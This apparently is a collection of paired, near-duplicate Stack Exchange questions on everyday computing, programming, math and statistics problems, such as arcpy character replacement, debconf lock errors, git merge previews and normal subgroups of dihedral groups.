I've enabled screen capture by pressing win+alt+r  Sadly, it didn't do what I wanted, but the application loaded and ran as expected.  Now, when ever I load Chrome, I get told that it is running and I can capture a screen.   I want to disable this. According to  I go to Settings and type in gaming, but when I do, I'm informed there are no results.  How do I disable this?

It looks like the  update  from Microsoft.  I have  and  UWPs as much as I can, along with Cortana and Edge.  Yet today I saw a weird green bar popup saying something about "Press Win + G to bring up the game bar".  I figured it would have to do with the Xbox UWP app, which I have previously uninstalled.  I presume this is UWP functionality, but I'm not sure how to find out for certain.  Can this app or program exist outside of the UWP ecosystem?  Is it a part of the Xbox app?  What method(s) are there to remove it?  Is there a prophylactic to prevent such things in the future?  I'm currently stuck in Windows Home, even though I  (not me, but gives you context).  I will be fixing that sometime soon.


I've got a Polygon Feature Class of communities in switzerland. Unfortunately, the names in the attribute Field "NAME" include spaces, brackets and ä/ ö/ ü characters. For further processing, i need to remove the spaces and brackets and to replace ä --> ae, ö --> oe, ü --> ue. I've tried to do this using update cursor but i don't get it to work:  with arcpy.da.UpdateCursor("AVR_GEM","NAME") as cursor:     for row in cursor:         row = str(row).replace("ä","ae")         row = str(row).replace("ö","oe")         row = str(row).replace("ü","oe")         row = str(row).replace(" ","")         row = str(row).replace("(","")         cursor.updateRow(row)  Can anyone show me a quick way to get the job done?

I have a few shapefiles where some of the attributes contain the non-English characters ÅÄÖ. Since some queries doesn't work with these characters (specifically ), I tried to change them in advance with a simple script and add the new strings to another field.  However, change in characters works fine but not updating the field with arcpy.UpdateCursor.   What is an appropriate way of solving this?  I have also tried to do this via the Field Calculator while posting "code" to the codeblock, with the same error.  Error message: Runtime error  Traceback (most recent call last):   File "", line 1, in    File "c:/gis/python/teststring.py", line 28, in      val = code(str(prow.Typkod)) UnicodeEncodeError: 'ascii' codec can't encode character u'\xc4' in position 3: ordinal not in range(128)  Code:  # -*- coding: cp1252 -*- def code(infield):     data = ''     for i in infield: ##        print i         if i == 'Ä':             data = data + 'AE'         elif i == 'ä':             data = data + 'ae'         elif i == 'Å':             data = data + 'AA'         elif i == 'å':             data = data + 'aa'         elif i == 'Ö':             data = data + 'OE'         elif i == 'ö':             data = data + 'oe'         else:             data = data + i     return data   shp = r'O:\XXX\250000\DB\ArcView\shape.shp'  prows = arcpy.UpdateCursor(shp)  for prow in prows:     val = code(unicode(str(prow.Typkod), "utf-8"))     prow.Typkod_U = val     print val     prows.updateRow(prow)   The values of Typkod are of the type: [D, D, S, DDRÄ, TRÄ] etc.  I use ArcMap Basic (10.1) on Windows 7.    New Error message:  Runtime error  Traceback (most recent call last):   File "", line 1, in    File "c:/gis/python/teststring.py", line 29, in      val = code(unicode(str(row.Typkod), "utf-8")) UnicodeEncodeError: 'ascii' codec can't encode character u'\xc4' in position 3: ordinal not in range(128)  >>> val 'DDRÄ' >>> type(val) type 'str'      It appears as if the output from the function is wrong somehow. When there's ÅÄÖ involved it returns data = u'DDR\xc4' and not (as was my intention) data = 'DDRAE'. Any suggestions on what might cause this?


I would like to cite R (statisticak package) using BibTex. The author's name should be 'R Development Core Team', but it recognize 'R Development Core' as a first name and 'Team' as a last name so it appears as 'Team, R. D. C' in the final output PDF file.  There is a tip for solving this problem.  This blog suggests to put a comma after 'R Development Core Team', so that BibTex recognize 'R Development Core Team' as a last name and there is no first name. But this tip does not work for me. I'm using EndNote X7 for Mac to create the BibTex file and BibDesk to edit the bibtex file. The author's name still appears as 'Team, R. D. C.'.

I have a quick question on how to reference organizations that contain more than one word.   For example, I am using this syntax,  @misc{Directive2010, address = {Brussels}, author = {European Parliament and Council of the European Union}, keywords = {Manual,fix}, mendeley-tags = {Manual,fix}, number = {4}, pages = {1--12}, publisher = {European Parliament}, title = {{Directive 2010/30/EU}}, year = {2010} }   The output I get in the text is: (Parliament and of the European Union, 2010)  and I want it to show as: (European Parliament and Council of the European Union, 2010)  Thank you for your help!!


I have a file in below format     mon 01/01/1000(TAB)hi hello(TAB)how r you   Is there any way to read the text in such a way to use '\t' alone as delimiter (and not space)?  So sample output can be,     mon 01/01/1000      hi hello       how r you   I couldn't use fscanf(), since it reads till the first space only.

Java has a convenient split method:  String str = "The quick brown fox"; String[] results = str.split(" ");   Is there an easy way to do this in C++?


I've seen this several times (mainly in VMs): although the machine is connected to the local network the OS (at the moment I am talking about Win 8.1 as guest in Virtualbox) notifies me:     Network: No internet access   I just want to know how Windows draws that conclusion.

In Windows 7, the notification area networking icon will show an error indicator if there is no internet access , and the error icon goes away once there is a successful connection to the internet . Sometimes, if the WiFi connection requires an in-browser authentication step, like on many guest networks in hotels or universities, then the following pop-up bubble appears, saying as much:    How does Windows know whether or not it has a successful internet connection? Presumably it is checking some online Microsoft service to see whether it has a successful connection, gets redirected to some other page, or doesn't get any response at all, but I haven't seen anywhere that this process or the services used are documented. Can anybody explain how this works? I would prefer answers that refer to facts, rather than just guessing, but if you have a really good guess, then go for it.     This question was a .   Read the May 16th, 2011  for more details or  Question of the Week.


Is there a word for someone who tries to trip you up during conversation almost so you muddle your words and sound confused to the point where they appear to have have won a debate?  Someone who uses tactics such as these to appear that they've won a debate without actually winning based on the merit of what they have said.  They'll instead try and trip you up, or purposely respond to what you said as if it was outrageous, ridiculous or comically funny?   Their responses have no substance but their tactic is to attack what you have said, if this makes sense?  It's almost like a 'troll' but their tactics are not readily apparent to others as being 'trolling'.  Ideally you'd like to be able to say "She is such a/an X" or "She wins all her arguments through being an/a X" or "She wins her arguments by doing X" or "She only won that debate through her X tactics". Something along these lines would be helpful.   Edit: this question was marked a duplicate but the duplicate post isn't exactly the same as what I am asking. The confusion tactic is an element of their behaviour but it's also to ridicule or pick one word of what you said and attack that specific use of word, etc. All your answers have been very helpful. Thank you

What is the term for accusing a person of invented wrongdoing in such a way that he cannot respond or even clearly understand the accusations? For example, frequently reversing the definitions of the terminology used, or basing argumentation on hints and roundabout phrasings, metaphors, invented-on-the-fly floating definitions and rules to fit with the accusations.    Update: I think inquisitorial is the most proper term for context in which the result does not depend on the argumentation of one of the sides.    Though, jargonaut was completely unheard by me and incrementally more useful.


Inspired by , we have   80's : "The Eighties" 90's : "The Nineties" 00's : "The Naughts" or "The Naughties" 10's : ???

80s: the "Eighties"   90s: the "Nineties"   00s: the ???   For that matter, what is the second decade called? The "tens" just doesn't sound right.


When looking through the users pages, there appears to be users with negative reputation on the last page.  But, when the page is visited, the users have fairly large amounts of reputation.  Is this some sort of short-overflow bug, or a joke maybe? EDIT: Someone stated that negative reputation would be cruel here:

Actually this was quite surprising. A casual troll in the Users Page revealed few users with negative vote. One example is here    Then trying to see what could have causes such a low reputation, I peeked inside the Profile Page of this particular User and was surprised to see a decent positive score.    Can someone explain to me how this can be possible?


I read about fast connections and slow internet due to ISP's slow DNS, as a solution they recommended swithing to Google or other fast DNS.   Now, I am on 15 Mbps Internet connection and I would like to measure if my DNS is fast or slow.  How can I measure that?

When I have to choose my DNS I think that I should consider:   Speed Reliability Privacy Control (reports and stats)   The main options that come to my mind, and how I weigh them according to the above factors, are:   My ISP = faster (closer to me) but less privacy (they can associate my DNS requests to myself) OpenDNS and such = more control and more privacy (all they have is one of my e-mail addresses) Google = less privacy (they can associate my DNS requests to my Google Account and my searches)   What weighting factors, or other options, have I missed?


How do I make a for loop or a list comprehension so that every iteration gives me two elements?  l = [1,2,3,4,5,6]  for i,k in ???:     print str(i), '+', str(k), '=', str(i+k)   Output:  1+2=3 3+4=7 5+6=11

I have a list of arbitrary length, and I need to split it up into equal size chunks and operate on it. There are some obvious ways to do this, like keeping a counter and two lists, and when the second list fills up, add it to the first list and empty the second list for the next round of data, but this is potentially extremely expensive.  I was wondering if anyone had a good solution to this for lists of any length, e.g. using generators.  I was looking for something useful in itertools but I couldn't find anything obviously useful. Might've missed it, though.  Related question:


How can we find outliers in a dataset with a (highly) skewed distribution? With a normal distribution, is it well documented to use 2 x Standard Deviation or the upper boundary of the box plot (1.5 x IQR). However, for something like a conversion rate, where the distribution is severely positively skewed, how can we find the high conversion rates that are outliers?  I have done a lot of research around this topic and is a big business problem for us, but I can't find much at all about it.

Under a classical definition of an outlier as a data point outide the 1.5* IQR from the upper or lower quartile, there is an assumption of a non-skewed distribution. For skewed distributions (Exponential, Poisson, Geometric, etc) is the best way to detect an outlier by analyzing a transform of the original function?  For example, distributions loosely governed by an exponential distribution, could be transformed with a log function - at which point is it acceptable to look for outliers based on the same IQR definition?


On using this command sudo dpkg --configure -a this is the output I receive.  Setting up libpam-systemd:amd64 (229-4ubuntu17) ... debconf: DbDriver "config": /var/cache/debconf/config.dat is locked by another process: Resource temporarily unavailable dpkg: error processing package libpam-systemd:amd64 (--configure):  subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing:  libpam-systemd:amd64   Please help resolve this I am not able to install anything new using apt-get.

I'm trying to install the flashybrid but when I enter the apt-get install flashybrid command, I get this error:  root@user-desktop:/home/user# apt-get install flashybrid Reading package lists... Done Building dependency tree Reading state information... Done flashybrid is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. 1 not fully installed or removed. After this operation, 0B of additional disk space will be used. debconf: DbDriver "config": /var/cache/debconf/config.dat is locked by another process: Resource temporarily unavailable Setting up flashybrid (0.15+nmu2) ... debconf: DbDriver "config": /var/cache/debconf/config.dat is locked by another process: Resource temporarily unavailable dpkg: error processing flashybrid (--configure): subprocess post-installation script returned error exit status 1 Errors were encountered while processing: flashybrid E: Sub-process /usr/bin/dpkg returned an error code (1)   I also tried this one to find what is already using that file:  root@user-desktop:/home/user# lsof | grep /var/cache/debconf/config.dat lsof: WARNING: can't stat() fuse.gvfs-fuse-daemon file system /home/user/.gvfs Output information may be incomplete. dpkg-prec 4672 root 4rW REG 8,6 39658 1697827 /var/cache/debconf/config.dat   But I don't know how to fix this.


How can I preview the merge conflicts before actually trying to merge? Git diff is great, but it shows too much. I only want to view the conflicts.  There are many times I don't understand why particular files would have a conflict and I would like to reason about my changes before merging branches.

I'm merging in a remote branch that may have a lot of conflicts.  How can I tell if it will have conflicts or not?  I don't see anything like a --dry-run on git-merge.


I am writing a small text book of Problems, Electronics engineering stream, in LaTeX.   It has a long list of small part files for each chapter. In this each problem is separated by LaTeX environment Prob.  Apart from this problems some explanation, theorems and examples are also interspersed.    In this condition my question is how to pull out all lines between \begin{Prob} and \end{Prob} strings including these two.   \section{Vector Operations}   \begin{description}[style=multiline,leftmargin=0.25\textwidth,font=\bfseries]     \item [Negative Direction] If $\vb{A}$ is defined as shown       \item [Addition]  Adding $\vb{A}$ and $\vb{B}$ is done by  \end{description}    \section{Exercises}      \begin{Prob}     Find the component of $\vb{A}$ along  $\vb{B}$ in the following $\vb{A}= 10\ux-6\uy+7\uz$ and $\vb{A}= -5\ux+7\uy$ and  find $3\vb{A}+2\vb{B}$.      \begin{ans}         content...     \end{ans}      \begin{sol}         The component of $\vb{A}$ along $\vb{B}$ is found by $(\vb{A}\dotproduct \vb{B}) \frac{\vb{B}}{\abs{B}} $ and,   $\vb{A}\dotproduct \vb{B} = A_xB_x+A_yB_y+A_zB_z$    If $\vb{A}= 10\ux-6\uy+7\uz$ and $\vb{A}= -5\ux+7\uy$ then  $\vb{A}\dotproduct \vb{B} = 10(-5)-6.7$       \end{sol}  \end{Prob}    \begin{Prob}      Given that $L(2,3,2)$ and $M(-3,0,5)$ find      \begin{enumerate}[noitemsep,nolistsep]     \item Vector directed from Origin to $L$.     \item Unit vector along from origin to the mid point of $L$ and $M$.     \item Calculate the length of vector $\boldsymbol{LM}$.     \end{enumerate}      \begin{ans} \begin{multicols}{3}     \begin{enumerate}[noitemsep,nolistsep]         \item $\vecty{2}{3}{2}$         \item $\big( -0.5, 1.5, 3.5  \big) $         \item $\vecty{2.5}{1.5}{-1.5}$     \end{enumerate} \end{multicols}      \end{ans}      \begin{sol}     \begin{enumerate}[noitemsep,nolistsep]         \item \begin{align*}         \boldsymbol{LO} &= \vecty{(2-0)}{(3-0)}{(2-0)}\\         &= \vecty{2}{3}{2} \\         \end{align*}         \item Mid point of $L$ and $M$ \begin{align*}         \boldsymbol{ML} &= \Big(\frac{(2-3)}{2}, \frac{(3+0)}{2}, \frac{(2+5)}{2} \Big) \\         &= \big( -0.5, 1.5, 3.5  \big) \\         \end{align*}         \item Vector joining $L$ and $M$ is \begin{align*}         \boldsymbol{LM} &= \vecty{\frac{(2+3)}{2}}{\frac{(3-0)}{2}}{\frac{(2-5)}{2}} \\         &= \vecty{2.5}{1.5}{-1.5}         \end{align*}     \end{enumerate}     \end{sol} \end{Prob}   Please suggest a bash script for extracting the lines.  Other solutions using python etc are also welcome.

I want to start grepping from the lines that has CK at the end of line and stop grepping when the line has D at the end. I tried grep "$CK" "$D" file..txt, but it didn't work.  Input:  kkkkkkkkkkk    jjjjjjjjjjjjjjjjjj   gggggggggggg/CK   JHGHHHHHHHH    HJKHKKLKLLL    JNBHBHJKJJLKKL   JLKKKLLKJLKJ/D   GGGGGGGGGGGGGG   GGGGGGGGGGGGGG   The desired output:  gggggggggggg/CK   JHGHHHHHHHH    HJKHKKLKLLL    JNBHBHJKJJLKKL   JLKKKLLKJLKJ/D


Upon opening a workflow in SharePoint Designer 2010 I receive the following notification in SharePoint Designer:     The list of workflow actions on the server references an assembly that   does not exist. Some actions will not be available. The assembly   strong name is Microsoft.Office.Workflow.Actions, Version=14.0.0.0,   Culture=neutral, PublicKeyToken=71e9bce111e9429c. Contact your server   administrator for more information.   I'm running SharePoint 2010.  Does anyone know how to solve this notification?  Relevant articles:

When I try to create a new WF in my Sharepoint Designer I get following error:     The list of workflow actions on the server references an assembly that   does not exist. Some actions will not be avaliable. The assembly   strong name is "Microsoft.SharePoint.WorkFlowActions,   Version=14.0.0.0,Cultureneutral,PublickeyToke=   Does any on know how to fix this problem?


Can anybody please help me as to how to create a permaneent alias in the terminal. When i create an alias in the terminal using the     alias name='function'    it stays till i close the terminal.      I am new to ubuntu. can you please help.

I would like to create an alias to rm command in order to have a confirmation message after executing this command. So I am creating an alias like this alias rm='rm -i'. But as far as I know this is a temporary alias and it lives until you close the terminal.  As it is explained  to save alias permanently I need to execute ~/.bash_aliases or ~/.bashrc commands in terminal and add my alias there. But when I execute ~/.bashrc I get following error message :  bash: /home/bakhtiyor/.bashrc: Permission denied   When I run ~/.bash_aliases I get another error message like this:  bash: /home/bakhtiyor/.bash_aliases: File or directory doesn't exist.   What is the actual problem and how can I solve it?


Has anyone replaced their swamp / evaporative cooler's existing thermostat with a smart WiFi-connected thermostat like Nest or Ecobee?   I want to know if there are any differences in connection or operation I should be aware of. I do not need to install relays, switches or other parts.   Thanks.

I currently have an HVAC system that is connected to a Nest thermostat (2nd generation) and I'm planning to use the same Nest thermostat to control a 110 swamp cooler that is currently not connected.  Before dealing with the trouble to connect both systems to the same thermostat (maybe using switches/relays to shut down one system while the other is on) I want to know if it possible to control the swamp cooler using the Nest thermostat. I don't have too much electrical knowledge, but I've been doing some research and I think it is possible if I buy some additional things.  The swamp cooler has a 2-speed motor, therefore I would like the Nest thermostat to control both speeds using Y1 and Y2 terminals. As far as I know 2 stage thermostats will apply power from the R terminal to the Y2 if more cooling power is required at the same time power is applied from R terminal to Y1. I also want the water pump to work everytime the thermostat calls for cooling (for both speeds), but I want the water pump to run alone for some minutes before the motor is started.  I have found that the Honeywell RC840T-120 might allow me to use the 24v Nest thermostat with the 110v swamp cooler and using a SPDT relay I could connect Y1 and Y2 to the 2 terminals of the 2-speed motor. Honeywell RC840T-120 was created to connect line-voltage controlled heaters to 24v thermostats but I think it will also work with the swamp cooler. This device will be the first relay that will decide if the pump and motor are going to receive power. This first relay will be connected to a PTD102 Delay that will delay the power to the SPDT relay, this last realy is the one that will control the power to the motor based on Y2 terminal from Nest thermostat. The thermostat will send power to Y1 only for 1st speed and in case it needs more cooling power it will start  sending power to Y1 and Y2 at the same time causing the SPDT relay to switch power to High through terminal 3 as the following diagram shows:    Please let me know if you think this way to connect the thermostat will allow me to control the swamp cooler and if it will also control both speeds


How does Stack Overflow work so well with search engines? It's really amazing; if I post a question, it'll show up in Google's search results within 15-30 minutes!  What are the tricks? sitemap.xml? Or, any other good methods?  Help me, and others too, if anyone knows a good technique/method.

We've been out of private beta for only two days, and stackoverflow.com is already ranking high in .  Are there any specific techniques applied in the site? I've been researching the subject for some time and haven't found it to be so easy.   even returns site-links.  ()


How do you show that {$ 1,a,a^{2}, ..., a^{n-1} $} is a normal subgroup of the nth dihedral group? I thought maybe it is the only subgroup of n elements , so then it's a normal subgroup. But I don't know how to prove it.

In relation to , I am curious about what exactly are the normal subgroups of a dihedral group $D_n$ of order $2n$.  It is easy to see that cyclic subgroups of $D_n$ is normal. But I suspect that case analysis is needed to decide whether dihedral subgroups of $D_n$ is normal.  A little bit of Internet search suggests the use of semidirect product $(\mathbb Z/n\mathbb Z) \rtimes (\mathbb Z/2\mathbb Z) \cong D_n$, but I do not know the condition for subgroups of a semidirect product to be normal.  I would be grateful if you could suggest a way to enumerate the normal subgroups of $D_n$ that does not resort to too much of case analysis.


I have a shell script file ./bin/postactivate with following content:  #!/bin/sh  export STATIC_ROOT="/webapps/tsango/static/" export MEDIA_ROOT="/webapps/tsango/media/" export DATABASE_NAME="tsango" export DJANGO_SETTINGS_MODULE="tsango.settings.vagrant" export DATABASE_PASSWORD="password" export BROKER_URL="amqp://tsango:password@localhost/tsango" export DATABASE_USER="tsango"   I execute it with sudo sh ./bin/postactivate command. The command seems to run properly, i.e. no output from the command line.  However, when I use printenv to see the list of environment variables, none of the variables of the script is set.  I'm probably missing something... Can you tell me what?

I have multiple Amazon EC2 accounts and want to quickly be able to switch variables, such as $EC2_HOME, using a script.  I have have a shell script set up like this:  #!/bin/sh export EC2_HOME=/home/me/.ec2 echo $EC2_HOME   When I run the script I know that EC2_HOME is set, but I thought that using export would make the variable stick around after the script completed. It does not, as running echo $EC_HOME does not show anything.  I know this must be very rudimentary Linux scripting knowledge, but I don't know it. I tried looking for related questions without luck - so my apologies if this is a duplicate.


I need some help with this problem, can you help me?     Given $k\in\mathbb{Z}^*$ prove $\forall x\in\mathbb{Z}, k\mid x(x+1)(x+2)\cdots(x+k-1)$.   Sorry that one is pretty easy, I made a mistake.  The problem is:       [Update] Given $k\in\mathbb{Z}^*$ prove $\forall x\in\mathbb{Z}, k!\mid x(x+1)(x+2)\cdots(x+k-1)$.

How can we prove that the product of $n$ consecutive integers is divisible by $n$ factorial?     Note: In this  and the comments here the OP has clarified that he seeks a proof that "does not use the properties of binomial coefficients". Please post answers in said newer thread so that this incorrectly-posed question may be closed as a duplicate.


How much must be in my account when I apply for a visitor visa to visit my friend in the UK? I need bank statements for the last six months. I am in Egypt.

I am an Indian citizen studying in Italy on an Italian visa that expires 19 November, 2015. I have permesso di soggiorno. I want to visit the United Kingdom for my vacations for a week during March. I know the procedures already, however I am a little bit confused about the amount that I must show as a proof of support with my bank statements. I will stay for a week with my friends who are also students in Italy and will be in London for 5 days. What would be the amount in Euros that I need to show for my visit to UK?


If I click a box, I want to move x number of pixels for the scrollbar position and I want to append the box dynamically. But when appending the box, the appended box does not have the click function listener dynamically added. I already know how to apply jQuery on("click", function() function(){}) for dynamically added elements, but I am still confused about what my problem is all about.   $("#btn1").click(function(){       $("#viewContainer").append('
Text page
'); });   $("#viewContainer div").on("click", function() {   $("#viewContainer div").removeClass("active");   $(this).addClass("active");   $("#viewContainer").scrollCenter(".active", 300);      });  jQuery.fn.scrollCenter = function(elem, speed) {   var active = jQuery(this).find(elem); // find the active element   var activeWidth = active.width() / 2; // get active width center    var pos = active.position().left + activeWidth; //get left position of active li + center position   var elpos = jQuery(this).scrollLeft(); // get current scroll position   var elW = jQuery(this).width(); //get div width   pos = pos + elpos - elW / 2; // for center position if you want adjust then change this    jQuery(this).animate({     scrollLeft: pos   }, speed == undefined ? 1000 : speed);   return this; }; html, body, div {   margin: 0;   padding: 0; }  .container {   width: 800px; }  #viewContainer {   overflow-x: scroll;   overflow-y: hidden;   -webkit-overflow-scrolling: touch;   white-space: nowrap;   padding: 5px 0;   height: 90px; }  .page {   text-align: center;   width: 120px;   height: 100%;   border: 1px solid red;   display: inline-block; }  .active {   background-color: yellow; }

I am very left.

Text page

Text page

Text page

Text page

Text page

       <button id="btn1">Button</button>

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


After you try to vote on a post that was last edited X hours ago, you get the following message:    There is an unfair workaround - You can make a trivial edit to the post, then vote again on it.  While trivial edits shouldn't be encouraged, they still give you the ability to vote whenever you want on whatever you want, which can not fair sometimes.  Why it is designed that way? Shouldn't this be changed? I mean, shouldn't it be an error if you try to change your vote after editing someone's else post just because you want to change your vote?

Anyone seen this one yet? Vote too old to be changed, unless post is edited My vote was only a few hours old. Then I realized the answer was wrong. Updated my question and went to remove the vote. Even after updating question I still have the issue. Small issue, but frustrating.  See also:


I have an object in my unity editor scene it's with colors and textures and materials. But when I drag the asset prefab to the blender it's gray without the textures colors materials. This is a screenshot from the unity editor : On the left is the big space ship with colors and textures materials :  This is the prefab asset settings :  And when I drag the prefab asset to blender the result is the 3d object but fray without the colors,textures,materials :  Is there any way to export or take object from unity to blender with all the colors,textures,materials?

I used node textures in a mesh I exported to .FBX.  I then imported it into Unreal Engine 4 and it didn't import any textures; I clicked the Upload Textures option in Unreal Engine.  Is there something I'm doing wrong or is it Blender?


I was asked to solve for the $\theta$ shown in the figure below.  My work: The $\Delta FAB$ is an equilateral triangle, having interior angles of $60^o.$ I don't think $\Delta HIG$ and $\Delta DEC$ are right triangles. So far, that's all I know. I'm confused on how to get $\theta.$ How do you get the $\theta$ above?

I found this question in an exam question paper.  But I was stumped by it. It seemed that all the answers were correct.  I tried:    Let $\angle ADE=x$ and $\angle EDC=y$.  $\angle DAB=90^{\circ}=\angle DAE+\angle EAB=30^{\circ}+60^{\circ}$. $\text{ref}\angle AEB=300^{\circ}$. And we know that $x+y=90^{\circ}$  But now I am stuck. How to proceed?


I have a thousand of arc coverage would like to covert to shapefile. How can I use the ogr2ogr to convert it in batch rather than convert it one by one? It takes a lot of time! :( Thanks for any idea!

I have a directory with several shapefiles.   How can convert all these shapefiles to MapInfo with ogr2ogr?  I know how I can convert one file.  And I can make a batch script writing a line for each file.  But isn't there an easier way to convert all the files in a directory (and subdirectory).


If black holes are mass of the star concentrated on a single point then how can it be moving through a 3-dimensional space? How can they spin?

I guess nobody really knows the true nature of black holes, however, based on everything I know about black holes, there is a "singularity" at their center, which has finite mass but is infinitely small and thus infinitely dense.  So a black hole is really just a point mass that dramatically warps the space-time around it so that an event horizon is achieved.  What doesn't make sense to me is how a true mathematical "point" can rotate, or at least how it is even possible to determine if a point is rotating (or if it should even make a difference about whether or not it is rotating, for the same reason it would be impossible to tell if a perfect, featureless sphere were rotating (I know it would have higher rotational energy but lets assume you can't measure that because a true "point" can't attain rotational energy since it has no radius)).  The only conceptual solution I have to describe a rotating black hole would be to compare it to a rotating whirlpool, where the surface of the water is the fabric of space-time... but this is different because there is no "singularity" in a whirlpool that causes the water around it to rotate, whirlpools form from flow of water around a point (put into motion perhaps by some kid swirling water in a 2-liter bottle... it's due to an external cause), but the only thing that could cause rotation around a black hole would be the singularity itself, which doesn't make sense because, once again, how can we know if a true point is actually rotating?  Aside from everything I've said, here is what I am actually asking:  Why/how do some black holes rotate... what is the mechanism of their rotation (is analogous to a spinning point or a 3-d whirlpool, or something different)?


Is ubuntu available in Tamil?  If yes give me the link to download the language interface

Back in 2007, there was a distribution  that enabled use of Tamil on top of Ubuntu.   How can I similarly use Tamil in a more up-to-date distro such as Ubuntu?


Prove that if a ≡ b mod m and c ≡ d mod m, then ac ≡ bd mod m.   In previous attempts I have tried to express a as b + mk and c as d + ml and I have also shown that m|a-b and m|c-d but I was unable to reach a complete proof.  Just a problem I have been trying to solve out of interest.

Given that $a \equiv b \pmod n$ and $c\equiv d \pmod n$, I need to prove that $ac \equiv bd \pmod n$  So far, I've only managed to deduce that $a+b \equiv c+d \pmod n$. I don't know if this is usable, but it's there, at least.  Any hint would be greatly appreciated!


Have a computer someone does NOT want window 10 upgrade. They accidentally hit upgrade...then turned off their computer. I restored to an earlier point to where I know they had not updated to 10. Restarted. Told windows not to install until I requested it. Now we get a RED notice Windows 10 upgrade failed. (which is good). Now when the computer is being shut down I think it is trying to upgrade (Message says installing 1 update). No idea what the update is. is there a way we can tell the computer NOT to install the one update? Checking the update list of what is to be updated, nothing is there, so I have NO actual idea of what it is, I am guessing Windows 10 is my best guess. If no solution, I guess I'll have to let windows 10 install and then restore it back to 7. I just don't want to waste the time. Thanks

I cancelled the Microsoft Windows 10 Reservation and uninstalled KB3035583, but Windows 10 is still trying to install.   After I uninstalled KB3035583 and restarted my laptop as instructed, I could not find KB3035583 to hide it.   Now Windows 10 is sitting in my Windows Update saying that it will install when I restart my computer.


Often after asking a question, the OP realizes that he made a mistake asking the question. Then the question starts getting downvotes and they might be reasonable too. What should I do as an OP to the question? Editing the question is an option; but if the question is really a bad question, we can't improve it by editing unless we ask a totally different question editing the original one. So in that case, if the question itself is outright wrong, what should I do to make it a better question to serve the community?

I've posted a question or an answer, and I have received one or more downvotes. I am not really sure why I was down voted, or I think I know why, but I disagree.  Why did this happen, and what should I do about it?


In a custom form you can add an #ajax property, e.g.  $form['some_element'] = [     '#type'  => 'textfield',     '#title' => 'Foo',     '#ajax'  => [ 'callback' => 'foo_callback',                   'wrapper'  => 'some_dom_id' ], ];   On this element, drupal will attach a behaviour to some_element's blur event. The behaviour submits the whole form, captures the response and uses it to replace the contents of some_dom_id.  I'm making a custom form element type and at a certain point (determined by non-Drupal js) I want to perform a Drupal AJAX update to the form without submitting it, just replacing a certain element; i.e. I want the 'normal' drupal behaviour, except I can't use the #ajax key to fire it.  What js should I run to do a Drupal ajax-submit-form?  I've tried attaching #ajax directly onto my custom element  So I've tried adding the #ajax bit onto my form element in element_info, but this does not attach the behaviour to my custom form element. I didn't think it would - can't really see how Drupal would know how to. Perhaps there's a way I can implement this on my custom element?  Adding #pre_render => [ 'ajax_pre_render_element' ] to my hook_element_info seems to add the ajax behaviour, but I don't get the whole form submitted (just a long list of ajax_html_id[] entries and page state lists of css,js files and the theme token and the submitting element; the other inputs are not included?  I've tried using a second 'normal' form element and hiding it  Yes this works, but it's a mess. Be a bit less messy if I could figure out how to add form elements within a custom form element implementation but that would be another question.  EDIT  I can't remember the details of why I asked this question now! But reviewing it threw up  which seemed to have the key info needed to get around this problem.

I'm working on ajaxifying a form which uses Hierarchical Select widget. I need to update a text field based on the value of HS and a couple of other fields. I want to use Drupal forms Ajax API. I followed the . Now the form is updated when user fills in the text fields. But I can't cope with HS.   I was told  HS doesn't support regular Drupal #ajax mechanism. I can easily attach the handler to HS update event. So all I need now is to manually trigger Drupal Ajax machinery from my own handler. How it's best to be done?   I see there is a global Drupal.ajax object but can't figure out how to make use of it.


This is my first time working on modeling; but for some reason, there are edges connected inside the modeling and I'm not sure how to delete these.

I built something Minecraft style model by cubes. Now I met a problem: when I'm trying to remove all interior faces, it appears that some exterior faces are influenced inevitably. I wonder if there is some better way to do it better.    P.S.: There are three things I've tried:   Non-manifold checking (Ctrl Shift Alt M) Select Interior Faces (Select -> Interior Faces) 3D Print Toolbox (Addon)   I didn't work it out so far, which leaves me no choice but manually deselect those faces I didn't want to remove, which takes quite a bit time for other cases.    There are answers like this . But I don't think it works exactly in my case.      EDIT: Is there any faster way than enabling Limited Selection to Visible then manually deselect them from different views? (it will not work effectively in complex cases that require similar need)


Just the other day I kept aside my earphones after listening to music for a long time, only to find it get twisted, well and good!   This happens every time. I feel it is a really strange phenomenon - seems like it happens on its own. How do the wires get tangled up so well? Is there any connection with the property of the material of the wire?

What is the reason?  Is it caused by their narrow shape, the soft material, walking vibration or something else?


My Google apps timeline says I went to a postcode and stayed there for 3 hours when I never left my house which is 4 miles away from where it says I was it was in the middle of the night when I wasn't even on my phone I was asleep. But on the following date it says I was at my house from 1200am-135pm which was obviously the start on the next day and which means I was at both locations at the same time. Any light shredded on this would be great. Is there anyway to prove I didn't leave my house

I have a major problem that I hope someone can help with. On my Google Maps feature under my Location History it shows a location that I was never at at any point, but when my wife happened to see that location she doesn't believe me that the GPS could be wrong and pinpoint that location if I was never there.  I was first wondering myself how could that could be possible if I was never there or my phone was never at that location that was 35 miles away from me and second is there any way I could prove the GPS being wrong? Can I contact Google Maps and can they give an official printout of that certain day and every location I was? I really need to prove my honesty to her and hope there is a way.


I noticed that there is a definition of the p-value in my textbook. It is defined as the p-value of a composite null hypothesis and it says the following:    I have no idea why it is written with a supremum. I've spent hours pondering this, does anyone have enough of a background to help me with this? Thank you!

I noticed that there is a definition of the pvalue in my textbook is defined says the following:    I have no idea why it is written with a supremum. I've spent hours pondering this, does anyone have enough of a background to help me with this? Thank you!


file_path =('C:\\Users\\zlq\Desktop\\python_crash_course\\书籍资料 \\chapter_10\\pi_digits.txt') with open(file_path) as file_object: contents = file_object.read() print(contents)   As I open file above in python 3, the path is too long and I want to break it two lines. But I tried several ways like adding""" , they won't work. So how do I break the path into two lines?

I have a long line of code that I want to break up among multiple lines. What do I use and what is the syntax?  For example, adding a bunch of strings,  e = 'a' + 'b' + 'c' + 'd'   and have it in two lines like this:  e = 'a' + 'b' +     'c' + 'd'


